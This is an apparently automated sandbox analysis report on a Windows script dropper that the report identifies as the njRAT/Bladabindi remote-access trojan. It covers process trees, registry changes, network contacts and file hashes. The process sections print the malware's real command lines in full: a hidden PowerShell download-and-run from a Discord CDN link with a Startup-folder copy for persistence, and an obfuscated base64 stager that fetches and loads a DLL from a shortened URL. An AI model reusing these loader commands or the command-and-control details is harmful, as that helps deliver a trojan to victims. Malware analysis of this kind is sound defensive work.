Analysis Overview
SHA256
bc07c50c0b92825bf9436f7a6816bd86c54f827c00c87304b63ff67ee05e695d
Threat Level: Known bad
The file 0f35bfed5b1817310378a5df58ca5fcd was found to be: Known bad.
Malicious Activity Summary
njRAT/Bladabindi
Blocklisted process makes network request
Checks computer location settings
Suspicious use of SetThreadContext
Enumerates physical storage devices
Modifies Internet Explorer settings
Modifies registry class
Suspicious behavior: EnumeratesProcesses
Suspicious use of AdjustPrivilegeToken
Suspicious use of WriteProcessMemory
MITRE ATT&CK
Enterprise Matrix V6
Analysis: static1
Detonation Overview
Reported
2022-10-10 20:23
Signatures
Analysis: behavioral1
Detonation Overview
Submitted
2022-10-10 20:23
Reported
2022-10-10 20:28
Platform
win7-20220812-en
Max time kernel
64s
Max time network
39s
Command Line
Signatures
Enumerates physical storage devices
Modifies Internet Explorer settings
| Description | Indicator | Process | Target |
| Key created | \REGISTRY\USER\S-1-5-21-999675638-2867687379-27515722-1000\Software\Microsoft\Internet Explorer\Toolbar | C:\Windows\explorer.exe | N/A |
| Set value (int) | \REGISTRY\USER\S-1-5-21-999675638-2867687379-27515722-1000\Software\Microsoft\Internet Explorer\Toolbar\Locked = "1" | C:\Windows\explorer.exe | N/A |
Modifies registry class
| Description | Indicator | Process | Target |
| Key created | \REGISTRY\USER\S-1-5-21-999675638-2867687379-27515722-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\BagMRU | C:\Windows\explorer.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-21-999675638-2867687379-27515722-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\Bags\1 | C:\Windows\explorer.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-21-999675638-2867687379-27515722-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0 | C:\Windows\explorer.exe | N/A |
| Set value (data) | \REGISTRY\USER\S-1-5-21-999675638-2867687379-27515722-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0 = 200000001a00eebbfe2300001000d09ad3fd8f23af46adb46c85480369c700000000 | C:\Windows\explorer.exe | N/A |
| Set value (data) | \REGISTRY\USER\S-1-5-21-999675638-2867687379-27515722-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\MRUListEx = 00000000ffffffff | C:\Windows\explorer.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-21-999675638-2867687379-27515722-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\Shell | C:\Windows\explorer.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-21-999675638-2867687379-27515722-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\Bags | C:\Windows\explorer.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-21-999675638-2867687379-27515722-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell | C:\Windows\explorer.exe | N/A |
| Set value (data) | \REGISTRY\USER\S-1-5-21-999675638-2867687379-27515722-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots | C:\Windows\explorer.exe | N/A |
| Set value (data) | \REGISTRY\USER\S-1-5-21-999675638-2867687379-27515722-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\MRUListEx = ffffffff | C:\Windows\explorer.exe | N/A |
| Set value (data) | \REGISTRY\USER\S-1-5-21-999675638-2867687379-27515722-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\MRUListEx = 00000000ffffffff | C:\Windows\explorer.exe | N/A |
| Set value (int) | \REGISTRY\USER\S-1-5-21-999675638-2867687379-27515722-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\NodeSlot = "1" | C:\Windows\explorer.exe | N/A |
| Set value (data) | \REGISTRY\USER\S-1-5-21-999675638-2867687379-27515722-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\MRUListEx = ffffffff | C:\Windows\explorer.exe | N/A |
| Set value (str) | \REGISTRY\USER\S-1-5-21-999675638-2867687379-27515722-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\Shell\SniffedFolderType = "Documents" | C:\Windows\explorer.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-21-999675638-2867687379-27515722-1000_Classes\Local Settings | C:\Windows\explorer.exe | N/A |
| Set value (data) | \REGISTRY\USER\S-1-5-21-999675638-2867687379-27515722-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0 = 14001f44471a0359723fa74489c55595fe6b30ee0000 | C:\Windows\explorer.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-21-999675638-2867687379-27515722-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0 | C:\Windows\explorer.exe | N/A |
| Set value (data) | \REGISTRY\USER\S-1-5-21-999675638-2867687379-27515722-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots = 02 | C:\Windows\explorer.exe | N/A |
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of WriteProcessMemory
| Description | Indicator | Process | Target |
| PID 1488 wrote to memory of 1476 | N/A | C:\Windows\System32\WScript.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| PID 1488 wrote to memory of 1476 | N/A | C:\Windows\System32\WScript.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| PID 1488 wrote to memory of 1476 | N/A | C:\Windows\System32\WScript.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| PID 1476 wrote to memory of 1512 | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | C:\Windows\explorer.exe |
| PID 1476 wrote to memory of 1512 | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | C:\Windows\explorer.exe |
| PID 1476 wrote to memory of 1512 | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | C:\Windows\explorer.exe |
Processes
C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\0f35bfed5b1817310378a5df58ca5fcd.wsf"
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden wget 'https://cdn.discordapp.com/attachments/1024684238085312517/1026668711156928603/Crpted.vbs' -o C:\Windows\Temp\nLeNPdi.vbs;explorer.exe C:\Windows\Temp\nLeNPdi.vbs;Start-Sleep 3;[System.IO.File]::Copy('El presente es el requerimiento enviado a declarar por el proceso 0091-002018-0917875 .wsf','C:\Users\' + [Environment]::UserName + '\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\дÑÑвПЙ.wsf');Start-Sleep 1;rm *.uue,*.pif
C:\Windows\explorer.exe
"C:\Windows\explorer.exe" C:\Windows\Temp\nLeNPdi.vbs
C:\Windows\explorer.exe
C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding
Network
Files
memory/1488-54-0x000007FEFC001000-0x000007FEFC003000-memory.dmp
memory/1476-55-0x0000000000000000-mapping.dmp
memory/1476-57-0x000007FEF4640000-0x000007FEF5063000-memory.dmp
memory/1476-58-0x000007FEF38F0000-0x000007FEF444D000-memory.dmp
memory/1476-59-0x0000000002514000-0x0000000002517000-memory.dmp
memory/1512-60-0x0000000000000000-mapping.dmp
memory/1080-63-0x0000000003A00000-0x0000000003A10000-memory.dmp
memory/1476-64-0x000000000251B000-0x000000000253A000-memory.dmp
memory/1476-65-0x0000000002514000-0x0000000002517000-memory.dmp
memory/1476-66-0x000000000251B000-0x000000000253A000-memory.dmp
Analysis: behavioral2
Detonation Overview
Submitted
2022-10-10 20:23
Reported
2022-10-10 20:28
Platform
win10v2004-20220812-en
Max time kernel
298s
Max time network
301s
Command Line
Signatures
njRAT/Bladabindi
Blocklisted process makes network request
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Checks computer location settings
| Description | Indicator | Process | Target |
| Key value queried | \REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000\Control Panel\International\Geo\Nation | C:\Windows\System32\WScript.exe | N/A |
| Key value queried | \REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000\Control Panel\International\Geo\Nation | C:\Windows\System32\WScript.exe | N/A |
Suspicious use of SetThreadContext
| Description | Indicator | Process | Target |
| PID 4328 set thread context of 3692 | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe |
Enumerates physical storage devices
Modifies registry class
| Description | Indicator | Process | Target |
| Key created | \REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000_Classes\Local Settings | C:\Windows\explorer.exe | N/A |
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of AdjustPrivilegeToken
Suspicious use of WriteProcessMemory
Processes
C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\0f35bfed5b1817310378a5df58ca5fcd.wsf"
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden wget 'https://cdn.discordapp.com/attachments/1024684238085312517/1026668711156928603/Crpted.vbs' -o C:\Windows\Temp\nLeNPdi.vbs;explorer.exe C:\Windows\Temp\nLeNPdi.vbs;Start-Sleep 3;[System.IO.File]::Copy('El presente es el requerimiento enviado a declarar por el proceso 0091-002018-0917875 .wsf','C:\Users\' + [Environment]::UserName + '\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\дÑÑвПЙ.wsf');Start-Sleep 1;rm *.uue,*.pif
C:\Windows\explorer.exe
"C:\Windows\explorer.exe" C:\Windows\Temp\nLeNPdi.vbs
C:\Windows\explorer.exe
C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding
C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Windows\Temp\nLeNPdi.vbs"
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $iUqm = 'JABSAG8AZABhAEMAbwBwAHkAIAA9ACAAJwAlAC⌚⌚⌚AJwA7AFsAQgB5AHQAZQBbAF0AXQAgACQARABMAEwAIAA9ACAAWwBzAHkAcwB0AG⌚⌚⌚AbQAuAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACgATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAoACcAaAB0AHQAcABzADoALwAvAHQAaQBuAHkAdQByAGwALgBjAG8AbQAvADIAZQByAHAAaAA2AGMAcwAnACkAKQA7AFsAcwB5AHMAdABlAG0ALgBBAHAAcABEAG8AbQBhAGkAbgBdADoAOgBDAH⌚⌚⌚AcgByAG⌚⌚⌚AbgB0AEQAbwBtAGEAaQBuAC4ATABvAGEAZAAoACQARABMAEwAKQAuAEcAZQB0AFQAeQBwAG⌚⌚⌚AKAAnAE4AdwBnAG8AeABNAC4ASwBQAEoAYQBOAGoAJwApAC4ARwBlAHQATQBlAHQAaABvAGQAKAAnAFAAVQBsAEcASwBBACcAKQAuAEkAbgB2AG8AawBlACgAJABuAH⌚⌚⌚AbABsACwAIABbAG8AYgBqAG⌚⌚⌚AYwB0AFsAXQBdACAAKAAnAHQAeAB0AC4AMAAxADMAMABpAHYAbgBlAC8ANAAxADYAMwA2ADMANQA1ADAANAAwADYAOAA2ADYANgAyADAAMQAvADcAMQA1ADIAMQAzAD⌚⌚⌚AOAAwADgAMwAyADQAOAA2ADQAMgAwADEALwBzAHQAbgBlAG0AaABjAGEAdAB0AGEALwBtAG8AYwAuAHAAcABhAGQAcgBvAGMAcwBpAGQALgBuAGQAYwAvAC8AOgBzAHAAdAB0AGgAJwAgACwAIAAkAFIAbwBkAGEAQwBvAHAAeQAgACwAIAAnAFIAbwBkAGEAJwAgACkAKQA=';$OWjuxD = [system.Text.Encoding]::Unicode.GetString( [system.Convert]::FromBase64String( $iUqm.replace('⌚⌚⌚','U') ) );$OWjuxD = $OWjuxD.replace('–——¯¯—¯––¯', 'C:\Windows\Temp\nLeNPdi.vbs');powershell.exe -windowstyle hidden -ExecutionPolicy Bypss -NoProfile -Command $OWjuxD
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -ExecutionPolicy Bypss -NoProfile -Command "$RodaCopy = '%%';[Byte[]] $DLL = [system.Convert]::FromBase64String((New-Object Net.WebClient).DownloadString('https://tinyurl.com/2erph6cs'));[system.AppDomain]::CurrentDomain.Load($DLL).GetType('NwgoxM.KPJaNj').GetMethod('PUlGKA').Invoke($null, [object[]] ('txt.0130ivne/4163635504068666201/7152135808324864201/stnemhcatta/moc.ppadrocsid.ndc//:sptth' , $RodaCopy , 'Roda' ))"
C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | cdn.discordapp.com | udp |
| US | 162.159.133.233:443 | cdn.discordapp.com | tcp |
| US | 8.8.8.8:53 | tinyurl.com | udp |
| US | 104.20.138.65:443 | tinyurl.com | tcp |
| US | 162.159.133.233:443 | cdn.discordapp.com | tcp |
| US | 209.197.3.8:80 | tcp | |
| US | 209.197.3.8:80 | tcp | |
| US | 8.8.8.8:53 | dnsproxi2022.duckdns.org | udp |
| US | 173.225.115.242:1986 | dnsproxi2022.duckdns.org | tcp |
| US | 20.189.173.4:443 | tcp | |
| US | 173.225.115.242:1986 | dnsproxi2022.duckdns.org | tcp |
| US | 173.225.115.242:1986 | dnsproxi2022.duckdns.org | tcp |
| US | 8.8.8.8:53 | dnsproxi2022.duckdns.org | udp |
| US | 173.225.115.242:1986 | dnsproxi2022.duckdns.org | tcp |
| US | 173.225.115.242:1986 | dnsproxi2022.duckdns.org | tcp |
| US | 173.225.115.242:1986 | dnsproxi2022.duckdns.org | tcp |
| US | 8.8.8.8:53 | dnsproxi2022.duckdns.org | udp |
| US | 173.225.115.242:1986 | dnsproxi2022.duckdns.org | tcp |
| US | 173.225.115.242:1986 | dnsproxi2022.duckdns.org | tcp |
| US | 173.225.115.242:1986 | dnsproxi2022.duckdns.org | tcp |
| US | 8.8.8.8:53 | dnsproxi2022.duckdns.org | udp |
| US | 173.225.115.242:1986 | dnsproxi2022.duckdns.org | tcp |
| US | 173.225.115.242:1986 | dnsproxi2022.duckdns.org | tcp |
| US | 173.225.115.242:1986 | dnsproxi2022.duckdns.org | tcp |
| US | 8.8.8.8:53 | dnsproxi2022.duckdns.org | udp |
| US | 173.225.115.242:1986 | dnsproxi2022.duckdns.org | tcp |
Files
memory/5052-132-0x0000000000000000-mapping.dmp
memory/5052-133-0x0000022C1FE00000-0x0000022C1FE22000-memory.dmp
memory/5052-134-0x00007FFD10110000-0x00007FFD10BD1000-memory.dmp
memory/3636-135-0x0000000000000000-mapping.dmp
C:\Windows\Temp\nLeNPdi.vbs
| MD5 | 46306c9f94abfaca3a6409d80636075e |
| SHA1 | adf4b0875ff61448d689a786066ac12f97b065dc |
| SHA256 | 4df9ac8599d0ff50d464df2887feea99f6c8c13105cc33c4d5554d41f5c7442b |
| SHA512 | 589ef5c79a272a1575d672bf60547e742f2d55181d8561f39b09517b678e0beb46abb3a1450d41e6224ea0c75bd52ab49a3e630fbb371a6e9c6d23e26b534a76 |
memory/1492-137-0x0000000000000000-mapping.dmp
memory/3100-138-0x0000000000000000-mapping.dmp
memory/4328-139-0x0000000000000000-mapping.dmp
memory/3100-140-0x00007FFD10110000-0x00007FFD10BD1000-memory.dmp
memory/4328-141-0x00007FFD10110000-0x00007FFD10BD1000-memory.dmp
memory/3692-142-0x0000000000400000-0x000000000040C000-memory.dmp
memory/3692-143-0x000000000040677E-mapping.dmp
memory/4328-144-0x00007FFD10110000-0x00007FFD10BD1000-memory.dmp
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
| MD5 | 0ff7e1af4cc86e108eef582452b35523 |
| SHA1 | c2ccf2811d56c3a3a58dced2b07f95076c6b5b96 |
| SHA256 | 62ed8ef2250f9f744852cb67df0286c80f94e26aed646989b76e5b78f2f1f0d0 |
| SHA512 | 374675fd36cd8bc38acaec44d4cc855b85feece548d99616496d498e61e943fd695fec7c57550a58a32455e8b21b41bafa18cd1dadac69676fff1de1a56da937 |
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
| MD5 | f41839a3fe2888c8b3050197bc9a0a05 |
| SHA1 | 0798941aaf7a53a11ea9ed589752890aee069729 |
| SHA256 | 224331b7bfae2c7118b187f0933cdae702eae833d4fed444675bd0c21d08e66a |
| SHA512 | 2acfac3fbe51e430c87157071711c5fd67f2746e6c33a17accb0852b35896561cec8af9276d7f08d89999452c9fb27688ff3b7791086b5b21d3e59982fd07699 |
memory/3100-147-0x00007FFD10110000-0x00007FFD10BD1000-memory.dmp
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
| MD5 | d7b5fc204bea26e27b5dad3fde21bb2f |
| SHA1 | acc420ea5b24aecf437ec99ebe7002a8569833bd |
| SHA256 | ebea730291a8e997962079cad97c2ee9b159f74b96ea22c49548c4b3f0da279d |
| SHA512 | 7c5bb43f40ae7b8c8baa6c52e6f70a17b320c90b9a36d72df979fb75dbd5c4fe1e797d40a54e21aa41e844e690e6b9fb46a09f51dc4fd0d3d9fd8f59693a1fc7 |
memory/5052-149-0x00007FFD10110000-0x00007FFD10BD1000-memory.dmp
memory/3692-150-0x0000000004F20000-0x0000000004FBC000-memory.dmp
memory/3692-151-0x0000000005600000-0x0000000005BA4000-memory.dmp
memory/3692-152-0x0000000005170000-0x0000000005202000-memory.dmp
memory/3692-153-0x0000000005130000-0x000000000513A000-memory.dmp